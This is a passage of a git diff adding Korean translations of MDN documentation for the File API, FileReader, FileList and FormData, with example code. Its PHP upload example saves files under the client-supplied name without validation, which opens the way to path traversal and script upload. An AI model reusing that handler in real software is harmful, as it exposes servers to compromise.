+  reader.readAsBinaryString(file);
+}
+
+ +

The FileUpload() function shown above creates a throbber, which is used to display progress information, and then creates an {{DOMxRef("XMLHttpRequest")}} to handle uploading the data.

+ +

Before actually transferring the data, several preparatory steps are taken:

+ +
    +
  1. The XMLHttpRequest's upload progress listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.
  2. +
  3. The XMLHttpRequest's upload load event handler is set to update the throbber progress information to 100% to ensure the progress indicator actually reaches 100% (in case of granularity quirks during the process). It then removes the throbber since it's no longer needed. This causes the throbber to disappear once the upload is complete.
  4. +
  5. The request to upload the image file is opened by calling XMLHttpRequest's open() method to start generating a POST request.
  6. +
  7. The MIME type for the upload is set by calling the XMLHttpRequest function overrideMimeType(). In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case.
  8. +
  9. The FileReader object is used to convert the file to a binary string.
  10. +
  11. Finally, when the content is loaded the XMLHttpRequest function send() is called to upload the file's content.
  12. +
+ +
Note: The non-standard sendAsBinary method which was previously used in the example above is considered deprecated as of Gecko 31 {{geckoRelease(31)}}; use the standard send(Blob data) method instead.
+ +

Asynchronously handling the file upload process

+ +

This example, which uses PHP on the server side and JavaScript on the client side, demonstrates asynchronous uploading of a file.

+ +
<?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?><!DOCTYPE html>
+<html>
+<head>
+    <title>dnd binary upload</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <script type="application/javascript">
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 && xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i<filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    </script>
+</head>
+<body>
+    <div>
+        <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div>
+    </div>
+</body>
+</html>
+
+ +

Example: Using object URLs to display PDF

+ +

Object URLs can be used for other things than just images! They can be used to display embedded PDF files or any other resources that can be displayed by the browser.

+ +

In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference pdfjs.disabled must be set to false {{non-standard_inline()}}.

+ +
<iframe id="viewer">
+
+ +

And here is the change of the src attribute:

+ +
const obj_url = window.URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);
+ +

Example: Using object URLs with other file types

+ +

You can manipulate files of other formats the same way. Here is how to preview uploaded video:

+ +
const video = document.getElementById('video');
+const obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);
+ +

Specifications

+ + + +

See also

+ + diff --git a/files/ko/web/api/file_and_directory_entries_api/index.html b/files/ko/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..d4a93a15e9 --- /dev/null +++ b/files/ko/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,131 @@ +--- +title: File and Directory Entries API +slug: Web/API/File_and_Directory_Entries_API +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

+ +

The File and Directory Entries API는 탐색 및 파일 접근이 가능한 로컬 파일 시스템을 웹상에 시뮬레이션합니다. 이 API를 통해 당신은 읽고, 쓰고, 파일과 디렉토리를 생성할 수 있는 가상의 파일 시스템을 가진 앱을 개발할 수 있을 것입니다.

+ +
+

이 API는 아직 표준이 아니기 때문에, 모든 브라우저가 이를 지원하지 않는 다는 점을 유념하십시오. 지원하더라도 일부 기능만을 지원할 수도 있습니다. 자세한 내용은 브라우저 호환성({{anch("Browser compatibility")}}) 항목을 참조하십시오.

+
+ +

동기적 혹은 비동기적인 동작 중 어느 쪽을 필요로 하냐에 따라 만들어진 매우 유사한 두 개의 API가 있습니다. 동기식 API는 {{domxref("Worker")}} 내에서 사용될 수 있도록 확장되어 왔으며 당신이 원하는 값을 반환합니다. 비동기식 API는 브라우저의 동작을 방해하지 않지만 함수와 API가 값을 반환하지 않습니다; 그 대신, 당신은 콜백 함수를 이용해 언제든 응답을 처리할 수 있습니다.

+ +
+

Firefox에 내장된 File and Directory Entries API는 매우 제한적입니다; 해당 환경에서는 파일 생성을 사용할 수 없습니다. {{HTMLElement("input")}}이나 ({{domxref("HTMLInputElement")}} 도 확인하십시오) 앱이나 웹사이트에서 드래그 앤 드롭(drag and drop)을 통해 유저가 직접 선택한 파일에만 액세스 가능합니다. 또한 Firefox는 동기식 API 역시 지원하지 않습니다. API의 어떤 부분을 사용하려고 하든 반드시 브라우저 호환성을 확인하시고, Firefox에 대한 이 API의 호환성(File and Directory Entries API support in Firefox)을 통해 더 자세하게 알아보도록 하십시오.

+
+ +

파일 시스템에 접근하기

+ +

현재로서 정의된 파일 시스템에 대한 접근 방법은 두 가지입니다:

+ + + +

비동기식 API

+ +

파일 시스템 액세스가 메인 스레드에서 사용될 경우 전체 브라우저를 차단하지 않도록 대부분의 작업은 비동기 API를 이용하여야 합니다. 다음과 같은 인터페이스를 포함하고 있습니다:

+ +
+
{{domxref("FileSystem")}}
+
파일 시스템을 나타냅니다.
+
{{domxref("FileSystemEntry")}}
+
파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.
+
{{domxref("FileSystemFileEntry")}}
+
파일 시스템 내의 단일 파일을 나타냅니다.
+
{{domxref("FileSystemDirectoryEntry")}}
+
파일 시스템 내의 단일 디렉토리를 나타냅니다.
+
{{domxref("FileSystemDirectoryReader")}}
+
{{domxref("FileSystemDirectoryEntry.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.
+
{{domxref("FileSystemFlags")}}
+
File and Directory Entries API에서 특정 메소드를 호출할 때 옵션 플래그로 사용되는 값들의 집합을 정의합니다.
+
{{DOMxRef("FileError")}} {{Obsolete_Inline}}
+
비동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.
+
+ +

또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Window")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystem")}}에 구현되어 있습니다: 각각 requestFileSystem() 과 resolveLocalFileSystemURL().

+ +

동기식 API

+ +

동기식 API는 반드시 {{domxref("Worker")}}s 안에서만 사용되어야 합니다; 이 호출들은 그들이 실행이 완료될 때 까지 브라우저의 동작을 멈추며, 콜백을 보내는 대신 단순히 결과값을 반환합니다. 이 함수들을 메인 스레드에서 사용하는 것은 브라우저의 동작을 멈출 것이며, 그것은 너무 난잡한 방식입니다. 아래의 인터페이스들은 비동기식 API와 기능적으로 거의 유사합니다.

+ +
+
{{domxref("FileSystemSync")}}
+
파일 시스템을 나타냅니다.
+
{{domxref("FileSystemEntrySync")}}
+
파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.
+
{{domxref("FileSystemFileEntrySync")}}
+
파일 시스템 내의 단일 파일을 나타냅니다.
+
{{domxref("FileSystemDirectoryEntrySync")}}
+
파일 시스템 내의 단일 디렉토리를 나타냅니다.
+
{{domxref("FileSystemDirectoryReaderSync")}}
+
{{domxref("FileSystemDirectoryEntrySync.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.
+
{{DOMxRef("FileException")}} {{Obsolete_Inline}}
+
동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.
+
+ +

또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Worker")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystemSync")}}에 구현되어 있습니다: 각각 requestFileSystemSync() 과 resolveLocalFileSystemSyncURL().

+ +

기타 인터페이스

+ +
+
{{domxref("LocalFileSystem")}}
+
샌드박스 파일 시스템에 접근할 수 있습니다.
+
{{domxref("LocalFileSystemSync")}}
+
+
{{domxref("LockedFile")}}
+
필요한 모든 잠금을 사용하여 주어진 파일을 처리할 수 있는 도구를 제공합니다.
+
{{domxref("Metadata")}}{{experimental_inline}}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}API 초안
+ +

이 API는 공식 W3C나 WHATWG명세를 가지고 있지 않습니다.

+ +

브라우저 호환성

+ +
+

FileSystem

+ +
+ + +

{{Compat("api.FileSystem", 0)}}

+ +

FileSystemSync 속성

+ +
+ + +

{{Compat("api.FileSystemSync", 0)}}

+
+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/filelist/index.html b/files/ko/web/api/filelist/index.html new file mode 100644 index 0000000000..8176496fe2 --- /dev/null +++ b/files/ko/web/api/filelist/index.html @@ -0,0 +1,155 @@ +--- +title: FileList +slug: Web/API/FileList +translation_of: Web/API/FileList +--- +
{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}
+ +

이 타입의 객체는 HTML {{HTMLElement("input")}} 엘리먼트의 files 속성으로부터 반환됩니다; 이는 <input type="file"> 엘리먼트로 선택된 파일의 리스트에 접근하도록 합니다. 또한 드래그 앤 드랍 API를 사용할 때 웹 컨텐트에 드랍된 파일의 리스트에도 사용됩니다; 이 사용에 대한 자세한 내용은 DataTransfer 객체를 보십시오.

+ +
+

Note: {{Gecko("1.9.2")}} 이전에는, input 엘리먼트는 한번에 하나의 선택된 파일만 지원되었습니다, 이는 FileList가 하나의 파일만을 포함했음을 의미합니다. {{Gecko("1.9.2")}}를 시작으로, input 엘리먼트의 multiple 속성이 true이면, FileList는 복수의 파일을 포함할 수 있습니다.

+
+ +

파일 리스트 사용

+ +

모든 <input> 엘리먼트 노드는 이 리스트의 항목에 접근하도록 허용하는 files 배열을 가지고 있습니다. 예를 들어, HTML이 다음의 파일 입력을 포함한다면:

+ +
<input id="fileItem" type="file">
+
+ +

 

+ +

다음 코드 행은 노드의 파일 목록에있는 첫 번째 파일을 File 객체로 가져옵니다.

+ +
var file = document.getElementById('fileItem').files[0];
+
+ +

Method overview

+ + + + + + + +
File item(index);
+ +

Properties

+ + + + + + + + + + + + + + +
AttributeTypeDescription
lengthinteger목록에있는 파일의 수를 나타내는 읽기 전용 값.
+ +

Methods

+ +

item()

+ +

 

+ +
파일리스트의 지정된 인덱스에있는 파일을 나타내는 File 객체를 리턴합니다.
+ +

 

+ +
 File item(
+   index
+ );
+
+ +
Parameters
+ +
+
index
+
리스트로부터 받은 파일의 인덱스로, 0부터 시작합니다.
+
+ +
Return value
+ +

요청된 파일을 나타내는 File 입니다.

+ +

예시

+ +

이 예시는 input 엘리먼트를 사용하여 사용자에 의해 선택된 모든 파일을 순회합니다:

+ +
// fileInput is an HTML input element: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+var file;
+
+// loop through files
+for (var i = 0; i < files.length; i++) {
+
+    // get item
+    file = files.item(i);
+    //or
+    file = files[i];
+
+    alert(file.name);
+}
+
+ +

완전한 코드는 다음과 같습니다.

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+</head>
+<body>
+<!--multiple is set to allow multiple files to be selected-->
+
+<input id="myfiles" multiple type="file">
+
+</body>
+
+<script>
+
+var pullfiles=function(){
+    // love the query selector
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // cache files.length
+    var fl = files.length;
+    var i = 0;
+
+    while ( i < fl) {
+        // localize file var in the loop
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// set the input element onchange to call pullfiles
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+</script>
+
+</html>
+ +

명세

+ + + +

See also

+ + diff --git a/files/ko/web/api/filereader/index.html b/files/ko/web/api/filereader/index.html new file mode 100644 index 0000000000..f444a189fa --- /dev/null +++ b/files/ko/web/api/filereader/index.html @@ -0,0 +1,111 @@ +--- +title: FileReader +slug: Web/API/FileReader +tags: + - API + - File API + - Files + - Interface + - Reference +translation_of: Web/API/FileReader +--- +
{{APIRef("File API")}}
+ +

FileReader 객체는 웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는{{ domxref("File") }} 혹은 {{ domxref("Blob") }} 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다.

+ +

File 객체는 {{ HTMLElement("input") }} 태그를 이용하여 유저가 선택한 파일들의 결과로 반환된 {{ domxref("FileList") }} 객체, 드래그 앤 드랍으로 반환된 DataTransfer 객체 혹은 {{ domxref("HTMLCanvasElement") }}의 mozGetAsFile() API로 부터 얻습니다.

+ +

생성자

+ +
+
{{domxref("FileReader.FileReader", "FileReader()")}}
+
Returns a newly constructed FileReader.
+
+ +

See Using files from web applications for details and examples.

+ +

속성

+ +
+
{{domxref("FileReader.error")}} {{readonlyinline}}
+
{{domxref("DOMError")}} 파일을 읽는 도중에 발생한 에러를 나타냅니다.
+
{{domxref("FileReader.readyState")}} {{readonlyinline}}
+
FileReader의 상태를 나타내는 숫자입니다.
+
+

상태 값들

+ EMPTY : 0 : 아직 데이터가 로드 되지 않았음.
+
LOADING : 1 : 데이터가 로딩 중.
+
DONE : 2 : 모든 읽기 요청이 완료됨.
+
 
+
{{domxref("FileReader.result")}} {{readonlyinline}}
+
파일의 컨텐츠입니다. 이 속성은 읽기 작업이 완료되고 읽기 작업의 초기화에 사용한 방식으로 결정된 데이터의 포맷이 정해진 후에 유효합니다.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("FileReader.onabort")}}
+
{{event("abort")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 중단 될 때마다 발생합니다.
+
{{domxref("FileReader.onerror")}}
+
{{event("error")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작에 에러가 생길 때마다 발생합니다.
+
{{domxref("FileReader.onload")}}
+
{{event("load")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 성공적으로 완료 되었을 때마다 발생합니다.
+
{{domxref("FileReader.onloadstart")}}
+
{{event("loadstart")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 실행 될 때마다 발생합니다.
+
{{domxref("FileReader.onloadend")}}
+
{{event("loadend")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 끝났을 때마다 발생합니다. (읽기의 성공이나 실패 여부는 상관 않습니다.)
+
{{domxref("FileReader.onprogress")}}
+
{{event("progress")}} 이벤트 핸들러. 이 이벤트는 {{domxref("Blob")}} 컨텐트를 읽는 동안 호출됩니다.
+
+ +
+

참고: FileReader는 {{domxref("EventTarget")}} 으로 부터 상속 받았습니다, 언급된 모든 이벤트들은 {{domxref("EventTarget.addEventListener()","addEventListener")}} 메소드를 사용하여 listen 하게 할 수 있습니다.

+
+ + + +

메서드

+ +
+
{{domxref("FileReader.abort()")}}
+
읽기 요청을 중단시킵니다. 리턴이 되면 readyState 는 DONE이 됩니다.
+
{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.
+
{{domxref("FileReader.readAsBinaryString()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the raw binary data from the file as a string.
+
{{domxref("FileReader.readAsDataURL()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains a data: URL representing the file's data.
+
{{domxref("FileReader.readAsText()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the contents of the file as a text string.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API','#FileReader-interface','FileReader')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.FileReader")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/filereader/loadend_event/index.html b/files/ko/web/api/filereader/loadend_event/index.html new file mode 100644 index 0000000000..c8e9f97664 --- /dev/null +++ b/files/ko/web/api/filereader/loadend_event/index.html @@ -0,0 +1,165 @@ +--- +title: 'FileReader: loadend event' +slug: Web/API/FileReader/loadend_event +translation_of: Web/API/FileReader/loadend_event +--- +
{{APIRef}}
+ +

loadend 이벤트는 성공여부와 관계없이 파일읽기가 끝나면 실행됩니다.

+ + + + + + + + + + + + + + + + + + + + +
버블링해당없음
이벤트 취소가능해당없음
인터페이스{{domxref("ProgressEvent")}}
이벤트 핸들러 프로퍼티{{domxref("FileReader.onloadend")}}
+ +

예제

+ +

Live example

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">Choose a profile picture:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="Image preview...">
+
+    <div class="event-log">
+        <label>Event log:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+}
+
+fileInput.addEventListener('change', handleSelected);
+
+ +

결과

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('File API', '#dfn-loadend-event')}}{{Spec2('File API')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.FileReader.loadend_event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/filereader/readasdataurl/index.html b/files/ko/web/api/filereader/readasdataurl/index.html new file mode 100644 index 0000000000..1533dc620d --- /dev/null +++ b/files/ko/web/api/filereader/readasdataurl/index.html @@ -0,0 +1,171 @@ +--- +title: FileReader.readAsDataURL() +slug: Web/API/FileReader/readAsDataURL +translation_of: Web/API/FileReader/readAsDataURL +--- +
{{APIRef("File API")}}
+ +

 

+ +

readAsDataURL 메서드는 컨텐츠를 특정 {{domxref("Blob")}} 이나 {{domxref("File")}}에서 읽어 오는 역할을 합니다. 읽어오는 read 행위가 종료되는 경우에, {{domxref("FileReader.readyState","readyState")}} 의 상태가 DONE이 되며,   {{event("loadend")}} 이벤트가 트리거 됩니다. 이와 함께,  base64 인코딩 된 스트링 데이터가 {{domxref("FileReader.result","result")}}  속성(attribute)에 담아지게 됩니다.

+ +

문법

+ +
instanceOfFileReader.readAsDataURL(blob);
+ +

파라미터

+ +
+
blob
+
읽고자 하는 {{domxref("Blob")}} 또는 {{domxref("File")}}.
+
+ +

예제

+ +

HTML

+ +
<input type="file" onchange="previewFile()"><br>
+<img src="" height="200" alt="이미지 미리보기...">
+ +

JavaScript

+ +
function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}
+ +

실행 결과

+ +

{{EmbedLiveSample("Example", "100%", 240)}}

+ +

 

+ +

복수의 파일 읽기 예제

+ +

HTML

+ +
<input id="browse" type="file" onchange="previewFiles()" multiple>
+<div id="preview"></div>
+ +

JavaScript

+ +
function previewFiles() {
+
+  var preview = document.querySelector('#preview');
+  var files   = document.querySelector('input[type=file]').files;
+
+  function readAndPreview(file) {
+
+    // `file.name` 형태의 확장자 규칙에 주의하세요
+    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+      var reader = new FileReader();
+
+      reader.addEventListener("load", function () {
+        var image = new Image();
+        image.height = 100;
+        image.title = file.name;
+        image.src = this.result;
+        preview.appendChild( image );
+      }, false);
+
+      reader.readAsDataURL(file);
+    }
+
+  }
+
+  if (files) {
+    [].forEach.call(files, readAndPreview);
+  }
+
+}
+
+ +
주의: FileReader() 생성자는 Internet Explorer 10 이전 버전에서는 지원하지 않는 기능입니다. 정상적으로 지원하는 코드를 확인하기 위해서는 다음 링크를 참조하시기 바랍니다. crossbrowser possible solution for image preview. 또는 this more powerful example.
+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.0
+
+ +

[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the FileReader.error property returned a {{domxref("FileError")}} object. This interface has been removed and FileReader.error is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.

+ +

[2] IE9 has a File API Lab.

+ +

[3] Opera has partial support in 11.1.

+ +

바깥 고리

+ + diff --git a/files/ko/web/api/filereader/readastext/index.html b/files/ko/web/api/filereader/readastext/index.html new file mode 100644 index 0000000000..d0f5c80ddf --- /dev/null +++ b/files/ko/web/api/filereader/readastext/index.html @@ -0,0 +1,60 @@ +--- +title: FileReader.readAsText() +slug: Web/API/FileReader/readAsText +tags: + - 파일 + - 파일 API +translation_of: Web/API/FileReader/readAsText +--- +
{{APIRef("File API")}}
+ +

readAsText() 메서드는 지정된 {{domxref("Blob")}} 이나 {{domxref("File")}} 의 컨텐츠를 읽기 위해 사용합니다. 읽기  연산이 끝나면, {{domxref("FileReader.readyState","readyState")}} 가 DONE으로 바뀌고, {{event("loadend")}} 이벤트가 트리거 되고, {{domxref("FileReader.result","result")}} 프로퍼티는 파일의 내용을 텍스트 문자열로 가집니다.

+ +
+

새로운 API 사용가능
+ {{domxref("Blob.text()")}} 메서드는 파일을 텍스트로 읽는 프로미스 기반의 새 API 입니다.

+
+ +

문법

+ +
instanceOfFileReader.readAsText(blob[, encoding]);
+ +

매개변수

+ +
+
blob
+
읽어 들일 {{domxref("Blob")}} 이나 {{domxref("File")}}
+
encoding {{optional_inline}}
+
반환 데이터에 사용될 문자열 인코딩을 지정. 매개변수가 지정되지 않으면 기본적으로 UTF-8이라고 가정합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#readAsDataText", "readAsText()")}}{{Spec2("File API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.FileReader.readAsText")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/filereader/result/index.html b/files/ko/web/api/filereader/result/index.html new file mode 100644 index 0000000000..feb9b02405 --- /dev/null +++ b/files/ko/web/api/filereader/result/index.html @@ -0,0 +1,33 @@ +--- +title: FileReader.result +slug: Web/API/FileReader/result +translation_of: Web/API/FileReader/result +--- +

{{APIRef("File API")}}

+ +

Summary

+ +

파일의 내용을 반환한다. 이 속성은 읽기가 완료 된 후에만 사용 가능 하며 데이터의 형식은 읽기 작업에 어떤 함수가 사용되었는가에 의해 정해진다.

+ +

Syntax

+ +
var file = instanceOfFileReader.result
+
+ +

Value

+ +

읽기 작업에 사용된 함수에 의해 string 또는 {{domxref("ArrayBuffer")}} 가 된다.

+ +

Specifications

+ +

{{page("/en-US/docs/Web/API/FileReader","Specifications")}}

+ +

Browser compatibility

+ +

{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/append/index.html b/files/ko/web/api/formdata/append/index.html new file mode 100644 index 0000000000..0f6ec0d5c8 --- /dev/null +++ b/files/ko/web/api/formdata/append/index.html @@ -0,0 +1,90 @@ +--- +title: FormData.append() +slug: Web/API/FormData/append +translation_of: Web/API/FormData/append +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 append() 메서드는 FormData 객체의 기존 키에 새 값을 추가하거나, 키가 없는 경우 키를 추가합니다.

+ +

{{domxref("FormData.set")}} 과 append() 의 차이점은 지정된 키가 이미 있으면, {{domxref("FormData.set")}} 은 모든 기존 값을 새 값으로 덮어쓰기를 합니다. 반면 append() 는 기존 값 집합의 끝에 새로운 값을 추가합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +

이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:

+ +
formData.append(name, value);
+formData.append(name, value, filename);
+ +

Parameters

+ +
+
name
+
value 에 포함되는 데이터 필드의 이름입니다.
+
value
+
필드의 값입니다. {{domxref("USVString")}} 또는 {{domxref("Blob")}} ({{domxref("File")}}과 같은 sublcass를 포함하여) 일 수 있습니다.
+
filename {{optional_inline}}
+
{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob" 입니다. {{domxref("File")}} 객체의 기본 파일 이름은 파일의 이름이 됩니다.
+
+ +
+

메모: {{domxref("Blob")}} 을 FormData 객체에 추가 할 데이터로 지정하면, "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.

+
+ +

Returns

+ +

Void.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.append")}}를 사용하여 key/value 쌍을 추가할 수 있습니다:

+ +
formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');
+ +

일반 form 데이터와 마찬가지로 동일한 이름의 여러 값을 추가할 수 있습니다. 예를들면 (그리고 이름에 []를 추가하여 PHP의 명명 규칙과 호환이 가능합니다):

+ +
formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');
+ +

이 기술을 사용하면 서버에 올라간 결과 데이터가 루프를 도는데 도움이 되는 구조이기 때문에, 이 기술을 사용하면 다중 -파일 업로드를 보다 쉽게 처리할 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.append")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/delete/index.html b/files/ko/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..c5f20c8d02 --- /dev/null +++ b/files/ko/web/api/formdata/delete/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/delete +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 delete() 메서드는 FormData 객체에서 key와 그 값에 해당하는 것을 지웁니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.delete(name);
+ +

Parameters

+ +
+
name
+
삭제할 key의 이름 입니다.
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만들고, form의 key/value 쌍을 미리 채웁니다:

+ +
var formData = new FormData(myForm);
+ +

delete()를 사용하여 키와 값을 삭제할 수 있습니다:

+ +
formData.delete('username');
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.delete")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/entries/index.html b/files/ko/web/api/formdata/entries/index.html new file mode 100644 index 0000000000..6f4f5b29d3 --- /dev/null +++ b/files/ko/web/api/formdata/entries/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.entries() +slug: Web/API/FormData/entries +translation_of: Web/API/FormData/entries +--- +

